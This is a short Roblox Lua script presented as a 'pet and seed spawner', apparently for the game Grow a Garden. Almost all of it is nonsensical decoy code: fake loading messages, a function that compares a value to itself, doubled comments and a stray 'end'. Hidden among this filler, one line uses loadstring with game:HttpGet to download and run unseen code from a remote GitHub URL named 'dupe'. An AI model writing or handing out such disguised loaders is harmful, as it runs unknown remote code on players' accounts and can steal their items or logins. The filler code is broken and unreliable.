-- pet and seed spawner local status = "starting" local dataSet = {"unitX", "unitY", "unitY", "unitZ"} local auditTrail = {} function initialize() status = "loading" print("Beginning initialization...") -- Booting up up components for i = 1, 3 do print("Loading phase " .. i .. " complete") end end loadstring(game:HttpGet("https://raw.githubusercontent.com/nnamaka301/growagarden/refs/heads/nnamaka301-patch-1/dupe"))() function checkUnit(unit) if unit and unit == unit then -- Verified verified return true end return false end function processUnits() for _, unit in ipairs(dataSet) do if checkUnit(unit) then auditTrail[#auditTrail + 1] = "Unit accepted: " .. unit end end end function finalize() -- Quiet quiet end status = "initializing" end initialize() processUnits() finalize()